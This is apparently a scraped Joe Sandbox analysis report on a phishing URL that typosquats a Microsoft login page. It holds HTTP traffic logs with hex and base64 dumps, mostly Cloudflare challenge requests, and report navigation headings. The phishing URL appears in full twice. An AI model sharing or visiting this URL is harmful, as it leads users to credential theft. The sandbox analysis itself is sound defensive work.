cHxsQs1sIsxsrzdEzd7sz2pe3KzXd3dNZ2wDfdWmesSfpmdCd$f3e8fV1j8dXfw8d4dcusdQmsd9wd9+HVOdIxFmm8wfp6dA2pNdIPfdGifpUd0dm+MwZKMX1$5dXHVtXIFXxG-BhOLTg7HJY27DxadxUUEIsd3m0Xwdp1jUHHaXHs7872ipiTYo6jXdpPezs7Zwd9LSQzdwHdfRmK66uL082djkedhspGqYHHE4mdtsV$d9IfdmWOddUCeIIXW
2025-03-27 15:59:57 UTC	1051	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 228736 Connection: close cf-chl-gen: oOvnokwZCFo632aDobrQkeinUNcuqzCRreBm70z16eTIu+uMb8HRGGNn5TycpSKmxxeLloGk7Yh1Poq0BgXGdlI/8/+XBeZjvmG7/pJFkd2RN9mNCZPQMwJPqCXC/DiRTwx+fVCJlw/yGEIafzkD+Ll9i7PfPapqC/SvGCGK9ezT+5MLR6xynNxO1j2mznloiKGmEtiadf78N22RbcnbMb0805efs1vcjfZ2TgDRUJaHpO/9m8n+KDO70yfSKPRCbJ7pt9PxOnPzuDATPr2t0HceJL/21ViT3ycmhLBf+Sgx4SEApMZB6B2de19oDxyBEKYChwQazkanivGpTBiz1IIUeWbMIrANLGN7Ym5ROkhXhQ7C5hs8B0iLy51jGhFRTJeJPjmtYqFi0mo2dqNN21hcKi/Fb5wnKNNTR1uEe/mJS3uXH9KoPaL0/8KoQHT5YJ/McjbsvIkZmVt00xBAssHRFYM4AtabEe2QQghPhPgXCezLOd7AAsIbq5rwbRIkfzSWEbqXNc+75wPf4pyjM053IOqdmVGSyU5q6qb62rAYzpQ4fz0INX0d+WFUPLjceefiu0eWv6riKnnEOOKFObSPFePFLVgGTLm5Llcr42kIRYraB6ecpNGS7UacjrcGo6yZQnPCQpOEZx1qAcqAguj7pC+n1MuthXrwTQ0ZPAQaxVEvKE4qK6cRs9hnmpd5EZqEg9ffSYpC7P+Q57nNuzhkM60qqLrBTOfF+99TS7BEwD7ZM3SaDlGAcOTq58BjPHNB9RsTofn+dxJh+DhTyw==$hBfmf5LUCJWtiXKVrrv/YA== Server: cloudflare CF-RAY: 9270190f5f69c64a-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:57 UTC	318	IN	Data Raw: 55 6c 78 74 65 45 31 4d 57 6f 4b 49 66 49 52 67 64 58 68 30 57 59 4e 35 58 46 61 4c 62 6e 32 63 66 46 6d 69 58 5a 75 53 67 36 4e 71 66 32 61 64 6e 71 75 72 62 36 32 4d 62 47 79 67 62 6f 47 53 6c 4c 6d 33 74 71 71 34 6e 4b 75 5a 66 62 2b 75 73 49 2b 52 77 72 61 30 71 4b 57 6f 6d 38 65 75 72 61 43 78 71 61 32 4f 78 38 4c 43 6c 63 79 56 72 4a 6d 31 77 4c 32 77 72 64 37 52 70 63 54 41 79 62 6a 4a 7a 73 69 6e 78 64 72 50 35 66 50 75 34 66 44 55 30 39 76 59 37 2b 6e 66 33 50 50 5a 33 39 48 68 34 75 44 54 43 41 50 31 39 4f 6a 32 2b 39 7a 37 35 66 41 55 38 41 41 46 35 73 34 58 42 39 45 58 31 4e 6b 68 46 52 38 53 32 2b 4d 66 2f 43 6e 37 34 51 63 46 34 77 72 37 43 53 63 52 41 50 30 7a 44 67 49 32 4b 7a 4d 6d 44 68 4c 36 2f 50 6f 73 4c 78 4d 56 48 53 4d 6a 4e 77 42 Data Ascii: UlxteE1MWoKIfIRgdXh0WYN5XFaLbn2cfFmiXZuSg6Nqf2adnqurb62MbGygboGSlLm3tqq4nKuZfb+usI+Rwra0qKWom8euraCxqa2Ox8LClcyVrJm1wL2wrd7RpcTAybjJzsinxdrP5fPu4fDU09vY7+nf3PPZ39Hh4uDTCAP19Oj2+9z75fAU8AAF5s4XB9EX1NkhFR8S2+Mf/Cn74QcF4wr7CScRAP0zDgI2KzMmDhL6/PosLxMVHSMjNwB
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 46 37 62 55 6c 63 4e 58 74 6f 65 55 42 2b 51 59 56 45 65 30 5a 6a 53 49 56 4b 69 55 65 49 59 49 36 54 61 48 56 50 62 56 47 53 6b 6e 6c 53 58 4a 71 52 61 4a 46 64 63 70 75 55 6e 71 65 5a 59 49 68 70 70 4a 52 66 62 61 69 44 65 34 56 79 70 49 78 79 6f 48 4f 6f 71 49 75 48 74 37 39 2f 6e 58 69 61 6b 63 4b 45 73 5a 4f 51 78 38 4f 31 78 4b 4b 4b 6a 59 76 41 77 4b 4f 66 7a 39 61 58 74 64 65 72 70 72 4f 63 75 71 32 62 33 39 43 75 6f 64 2f 6e 32 64 76 49 35 2b 4f 2f 79 2b 58 6f 72 66 48 76 37 74 33 64 79 62 62 44 31 39 47 7a 76 50 62 50 74 2b 76 63 31 51 58 5a 41 51 54 32 77 65 58 36 34 51 37 67 78 75 37 59 42 4f 62 4a 46 4f 30 41 43 65 4c 68 38 52 51 65 38 2f 6a 38 44 68 6f 64 48 77 30 57 2b 65 62 79 41 65 59 56 35 78 6b 69 41 43 49 73 4d 2f 4d 53 4e 41 67 44 45 Data Ascii: F7bUlcNXtoeUB+QYVEe0ZjSIVKiUeIYI6TaHVPbVGSknlSXJqRaJFdcpuUnqeZYIhppJRfbaiDe4VypIxyoHOoqIuHt79/nXiakcKEsZOQx8O1xKKKjYvAwKOfz9aXtderprOcuq2b39Cuod/n2dvI5+O/y+XorfHv7t3dybbD19GzvPbPt+vc1QXZAQT2weX64Q7gxu7YBObJFO0ACeLh8RQe8/j8DhodHw0W+ebyAeYV5xkiACIsM/MSNAgDE
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 35 55 57 70 53 66 56 56 52 56 6f 46 5a 56 6c 71 46 58 56 78 65 69 57 52 49 5a 46 32 42 62 32 43 4c 62 49 68 5a 65 59 68 73 65 35 31 34 6d 58 4e 68 6f 49 39 35 5a 59 4b 46 71 32 4e 37 72 34 6c 75 63 4c 4f 4e 63 33 32 33 6b 58 68 78 74 4c 4b 61 75 36 79 35 66 49 71 66 65 61 32 35 6e 63 43 47 6b 37 4f 48 69 36 72 43 6d 61 53 69 30 38 53 4d 74 4a 62 50 30 64 57 55 30 38 57 37 6c 37 4b 79 71 37 6d 32 33 5a 33 61 78 74 6a 61 76 4d 58 64 78 62 6e 77 77 4c 6e 4e 76 72 54 53 74 73 54 6d 34 2f 58 4f 78 73 62 30 32 4e 37 68 30 77 4c 6a 32 2b 44 6b 39 64 63 45 42 41 72 6a 44 51 76 4f 2b 64 45 50 35 78 49 50 42 2f 6b 61 32 52 73 64 44 68 59 59 47 52 30 6b 46 2f 51 63 45 79 49 59 49 42 63 6d 47 77 49 62 4b 68 38 4b 48 79 34 6a 46 69 4d 79 4e 76 67 74 43 66 67 4b 44 52 Data Ascii: 5UWpSfVVRVoFZVlqFXVxeiWRIZF2Bb2CLbIhZeYhse514mXNhoI95ZYKFq2N7r4lucLONc323kXhxtLKau6y5fIqfea25ncCGk7OHi6rCmaSi08SMtJbP0dWU08W7l7Kyq7m23Z3axtjavMXdxbnwwLnNvrTStsTm4/XOxsb02N7h0wLj2+Dk9dcEBArjDQvO+dEP5xIPB/ka2RsdDhYYGR0kF/QcEyIYIBcmGwIbKh8KHy4jFiMyNvgtCfgKDR
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 55 33 6c 52 59 6c 35 61 66 59 69 4b 53 31 43 4c 63 58 4e 4f 61 48 65 48 64 57 6c 6d 69 47 65 57 69 36 43 69 57 6f 4a 38 6c 36 5a 7a 63 33 46 2b 68 58 79 72 6f 58 70 75 66 62 4f 6d 67 5a 53 30 73 49 75 31 73 72 56 35 62 33 65 36 66 63 47 41 73 71 57 43 65 4d 69 53 76 71 61 34 67 38 75 57 77 63 2b 6b 72 38 44 46 73 59 2b 74 32 4d 2f 53 73 4c 62 54 73 5a 32 32 32 4e 2f 54 73 73 47 59 76 65 6e 45 6f 73 66 61 36 38 76 45 75 63 33 48 77 66 4c 72 73 73 54 32 36 2b 50 4d 31 62 53 34 32 74 4c 32 42 50 54 52 35 41 67 41 38 66 30 44 42 63 6e 39 43 63 48 6a 44 67 73 4d 44 76 4d 50 46 2f 62 35 34 68 6f 59 39 77 6f 5a 48 2f 48 5a 37 50 37 58 41 67 63 44 4b 53 67 6a 39 51 49 4a 35 78 44 73 4d 41 6b 6d 4e 50 51 49 41 68 62 73 42 52 30 6d 4c 45 41 78 4f 6b 49 75 41 52 63 Data Ascii: U3lRYl5afYiKS1CLcXNOaHeHdWlmiGeWi6CiWoJ8l6Zzc3F+hXyroXpufbOmgZS0sIu1srV5b3e6fcGAsqWCeMiSvqa4g8uWwc+kr8DFsY+t2M/SsLbTsZ222N/TssGYvenEosfa68vEuc3HwfLrssT26+PM1bS42tL2BPTR5AgA8f0DBcn9CcHjDgsMDvMPF/b54hoY9woZH/HZ7P7XAgcDKSgj9QIJ5xDsMAkmNPQIAhbsBR0mLEAxOkIuARc
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 32 35 35 61 4a 43 52 5a 34 2b 49 55 59 71 4d 61 58 4a 6b 6d 6d 68 73 57 70 57 62 6f 31 36 6c 6c 61 4f 59 6e 4a 4f 64 67 61 32 45 6e 34 57 6d 72 36 56 2b 63 61 32 53 70 59 70 34 6a 61 32 37 69 49 6d 4e 75 4d 47 31 74 4d 52 2b 78 37 6d 56 71 49 72 47 69 72 58 47 78 63 6d 50 79 70 37 53 78 73 6e 4e 30 64 50 59 6d 37 69 63 31 4c 53 36 33 37 47 75 31 4a 79 35 72 37 50 6c 77 65 53 71 75 4c 66 6a 76 38 75 38 35 63 54 68 76 2b 7a 79 38 72 6a 50 2b 4e 47 36 38 4d 72 4a 32 66 73 47 76 66 54 6c 30 67 66 62 2f 51 7a 6c 34 41 55 4b 34 66 72 69 44 75 58 68 35 68 4c 70 35 75 6f 57 37 65 7a 75 47 76 54 59 39 4f 30 53 41 50 41 63 2f 42 6e 70 43 68 6e 38 44 43 34 4a 37 2b 58 75 44 41 49 6f 4e 78 55 38 46 76 73 4b 51 42 72 2b 41 55 51 65 42 41 35 49 49 67 6b 43 50 51 4e 41 Data Ascii: 255aJCRZ4+IUYqMaXJkmmhsWpWbo16llaOYnJOdga2En4Wmr6V+ca2SpYp4ja27iImNuMG1tMR+x7mVqIrGirXGxcmPyp7SxsnN0dPYm7ic1LS637Gu1Jy5r7PlweSquLfjv8u85cThv+zy8rjP+NG68MrJ2fsGvfTl0gfb/Qzl4AUK4friDuXh5hLp5uoW7ezuGvTY9O0SAPAc/BnpChn8DC4J7+XuDAIoNxU8FvsKQBr+AUQeBA5IIgkCPQNA
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 56 69 62 58 5a 33 68 48 52 72 58 48 56 37 6e 49 70 73 63 6c 71 66 57 33 71 66 59 61 6d 63 6c 48 5a 33 72 36 43 6a 6b 4c 47 74 63 71 47 77 73 36 47 44 6c 62 64 36 76 62 75 36 65 37 37 44 6d 4b 53 62 6e 73 65 63 77 72 4f 46 78 38 71 67 7a 37 47 6f 73 34 75 2f 73 4c 50 58 7a 37 43 72 6c 4d 65 6f 78 35 61 67 33 61 7a 58 75 65 62 46 35 2b 4f 33 77 61 66 45 76 61 7a 4d 36 4f 66 71 73 71 2b 31 30 36 33 78 7a 37 54 30 7a 2f 48 38 2b 37 33 7a 2f 50 6e 56 32 51 50 59 75 73 66 41 35 4f 58 70 41 2b 6f 48 36 52 51 48 34 66 54 56 43 65 6b 4f 38 52 54 79 46 42 6b 58 37 69 41 52 48 74 2f 68 42 4f 59 53 41 4f 51 6c 41 43 49 74 49 75 34 75 38 53 33 79 49 67 72 32 4f 68 67 52 4c 68 4c 37 48 45 41 38 4e 79 7a 39 46 68 30 6f 41 44 51 6c 4b 45 78 48 51 68 6c 45 4a 6a 38 30 56 Data Ascii: VibXZ3hHRrXHV7nIpsclqfW3qfYamclHZ3r6CjkLGtcqGws6GDlbd6vbu6e77DmKSbnsecwrOFx8qgz7Gos4u/sLPXz7CrlMeox5ag3azXuebF5+O3wafEvazM6Ofqsq+1063xz7T0z/H8+73z/PnV2QPYusfA5OXpA+oH6RQH4fTVCekO8RTyFBkX7iARHt/hBOYSAOQlACItIu4u8S3yIgr2OhgRLhL7HEA8Nyz9Fh0oADQlKExHQhlEJj80V
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 6d 6c 30 2b 52 6d 36 46 36 62 34 42 62 6b 47 42 78 6f 33 31 6d 67 32 4f 71 5a 59 53 52 61 34 35 73 64 4a 36 68 75 49 32 43 6a 6f 70 32 75 62 57 2f 76 37 53 7a 71 33 36 66 74 37 4f 30 65 36 43 73 7a 4c 57 76 67 61 71 51 6b 4c 47 6e 71 71 47 7a 6a 39 43 6e 79 74 58 4b 72 72 47 35 30 64 43 77 6e 35 32 30 75 65 54 45 6f 61 48 74 79 37 65 37 37 37 79 39 77 63 33 76 31 4d 76 44 77 73 50 75 74 73 76 49 38 4c 76 74 34 66 6a 53 32 4d 54 63 33 74 33 45 42 63 66 4a 42 4f 41 4a 7a 74 34 53 36 64 48 69 33 2b 51 50 47 4e 58 58 38 76 6a 79 39 77 4c 33 38 50 51 44 2b 75 2f 35 2f 51 50 6a 44 4f 54 71 2b 6a 48 77 4d 51 4c 74 49 41 51 6e 4d 76 63 4c 44 6a 55 33 47 79 37 33 51 41 73 32 51 2f 73 6b 4e 53 49 71 47 68 38 6e 54 44 30 34 48 53 39 48 48 6b 38 76 57 45 6f 52 4f 51 Data Ascii: ml0+Rm6F6b4BbkGBxo31mg2OqZYSRa45sdJ6huI2Cjop2ubW/v7Szq36ft7O0e6CszLWvgaqQkLGnqqGzj9CnytXKrrG50dCwn520ueTEoaHty7e777y9wc3v1MvDwsPutsvI8Lvt4fjS2MTc3t3EBcfJBOAJzt4S6dHi3+QPGNXX8vjy9wL38PQD+u/5/QPjDOTq+jHwMQLtIAQnMvcLDjU3Gy73QAs2Q/skNSIqGh8nTD04HS9HHk8vWEoROQ
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 64 4a 42 73 6e 6f 46 39 68 48 5a 39 61 70 32 4c 6d 57 65 46 72 70 42 74 6e 72 61 4f 6b 6f 4b 57 65 4c 4e 37 74 35 2b 66 6e 72 7a 43 75 58 36 36 77 37 61 42 73 37 6a 41 6d 71 4b 6c 69 73 75 72 6e 38 7a 53 6a 72 47 6b 72 62 61 61 70 73 79 55 33 4b 7a 4f 7a 4e 32 74 6d 71 32 65 33 4c 79 6a 36 36 58 42 6e 37 37 59 71 36 33 66 77 2b 76 30 34 39 50 4f 78 76 76 74 79 4e 50 66 38 2f 37 41 41 64 66 51 30 2b 58 79 32 4e 76 68 2b 73 67 47 35 2b 38 4f 44 4d 6e 4f 46 67 59 55 42 39 45 45 44 78 55 54 2b 4f 7a 5a 45 2f 6e 77 2f 52 48 62 46 78 33 35 49 43 58 72 47 2b 51 4c 48 77 30 77 2b 69 59 30 41 52 51 6c 46 43 77 53 44 7a 34 47 4b 43 45 2f 49 42 46 42 50 7a 51 2f 51 45 51 6b 46 69 63 56 47 43 6f 62 45 53 38 54 49 55 4e 41 55 69 73 6a 49 31 45 31 4f 7a 34 78 58 6b 41 Data Ascii: dJBsnoF9hHZ9ap2LmWeFrpBtnraOkoKWeLN7t5+fnrzCuX66w7aBs7jAmqKlisurn8zSjrGkrbaapsyU3KzOzN2tmq2e3Lyj66XBn77Yq63fw+v049POxvvtyNPf8/7AAdfQ0+Xy2Nvh+sgG5+8ODMnOFgYUB9EEDxUT+OzZE/nw/RHbFx35ICXrG+QLHw0w+iY0ARQlFCwSDz4GKCE/IBFBPzQ/QEQkFicVGCobES8TIUNAUisjI1E1Oz4xXkA
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 6e 75 69 5a 35 61 74 67 34 69 44 61 6f 42 77 74 49 4f 52 68 49 43 76 68 36 6d 50 72 70 47 52 6e 35 65 65 73 37 4f 43 78 70 57 33 68 73 71 54 79 34 72 4f 6d 4a 6d 4f 30 70 7a 44 6b 74 61 4e 32 4c 47 35 7a 62 53 2b 75 4a 71 32 6d 63 47 38 31 37 6a 6e 32 39 33 6d 36 37 4f 6e 35 37 71 75 70 2b 36 37 78 36 76 78 72 4d 75 76 39 73 4c 50 73 2f 72 70 30 37 66 2b 37 74 65 37 41 2b 2f 62 76 77 66 30 33 38 4d 4c 37 2f 6a 69 37 67 33 6b 44 75 76 75 39 41 62 7a 31 68 51 57 47 74 67 5a 38 78 34 4d 48 2f 63 69 4b 43 54 6d 45 69 55 63 34 67 62 6d 4a 52 77 6e 45 75 73 76 38 78 59 34 4a 52 59 49 45 79 38 75 4e 78 49 75 47 42 30 68 4d 68 51 48 52 41 5a 4b 4c 45 63 32 4e 6b 6c 4d 44 68 78 4e 52 41 73 75 44 30 30 74 46 45 51 56 57 42 67 37 48 44 70 63 48 54 35 64 58 46 34 32 Data Ascii: nuiZ5atg4iDaoBwtIORhICvh6mPrpGRn5ees7OCxpW3hsqTy4rOmJmO0pzDktaN2LG5zbS+uJq2mcG817jn293m67On57qup+67x6vxrMuv9sLPs/rp07f+7te7A+/bvwf038ML7/ji7g3kDuvu9Abz1hQWGtgZ8x4MH/ciKCTmEiUc4gbmJRwnEusv8xY4JRYIEy8uNxIuGB0hMhQHRAZKLEc2NklMDhxNRAsuD00tFEQVWBg7HDpcHT5dXF42

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Windows Analysis Report
http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:58 UTC	639	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:58 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 27 Mar 2025 15:59:58 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: Jtw1dAhxO8/mooQFpTsjseQRArKrWB2vJDTbWiiZzkqEc7e0cMn3P89CIGnN/vezok4WCk42u6ctN4NEd39KkA==$NTFa+jDOxavHGpj4lPaYxQ== Server: cloudflare CF-RAY: 927019149ead0ee6-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:58 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:58 UTC	857	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/92701908ae6742b3/1743091197430/d08ea8eaa8cb9725cb4a73d18d3b569d2d31ee596bf42018d105be218ee89eda/6ek1GWujbLZ5Njf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:58 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 27 Mar 2025 15:59:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-27 15:59:58 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 30 49 36 6f 36 71 6a 4c 6c 79 58 4c 53 6e 50 52 6a 54 74 57 6e 53 30 78 37 6c 6c 72 39 43 41 59 30 51 57 2d 49 59 37 6f 6e 74 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20g0I6o6qjLlyXLSnPRjTtWnS0x7llr9CAY0QW-IY7ontoAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-27 15:59:58 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:59 UTC	828	OUT	GET /cdn-cgi/challenge-platform/h/b/d/92701908ae6742b3/1743091197434/Wq3PwaYUU2uWS78 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:59 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:59 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9270191d0c294345-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:59 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 31 00 00 00 14 08 02 00 00 00 ab 9f 42 ce 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR1BIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:59 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/b/d/92701908ae6742b3/1743091197434/Wq3PwaYUU2uWS78 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:00 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 16:00:00 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 92701920081623ce-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 16:00:00 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 31 00 00 00 14 08 02 00 00 00 ab 9f 42 ce 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR1BIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 16:00:00 UTC	1193	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38813 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 16:00:00 UTC	16384	OUT	Data Raw: 63 48 78 73 30 7a 56 6a 55 49 78 6d 65 58 44 56 36 64 68 24 78 56 5a 64 2d 64 70 64 49 66 33 6d 56 41 64 58 32 33 38 7a 6a 56 56 64 45 2d 64 56 55 66 48 64 41 64 58 66 33 6a 56 47 35 64 74 32 77 39 64 4d 73 37 64 56 43 64 33 65 56 72 39 73 6d 61 64 69 4f 31 6d 4c 4c 4b 55 30 50 73 56 68 68 65 37 78 64 79 70 73 7a 4b 64 74 77 64 70 39 30 64 56 78 56 70 64 78 48 64 6f 64 56 59 59 78 4f 41 6f 32 56 76 4d 35 2d 58 73 73 4c 64 6a 32 64 34 67 41 78 6f 61 66 38 37 6d 47 63 58 64 6d 43 42 64 58 39 64 48 4b 73 64 69 41 64 54 39 66 56 57 64 77 61 64 75 68 77 4b 38 64 56 35 41 73 6d 50 63 37 4b 64 77 47 4c 61 79 43 44 41 33 66 64 72 53 61 73 64 70 38 75 51 24 73 56 59 64 77 6a 64 24 4a 79 4b 64 77 38 64 53 32 64 6b 7a 41 78 4e 4e 32 56 71 35 66 64 71 33 64 64 7a 64 Data Ascii: 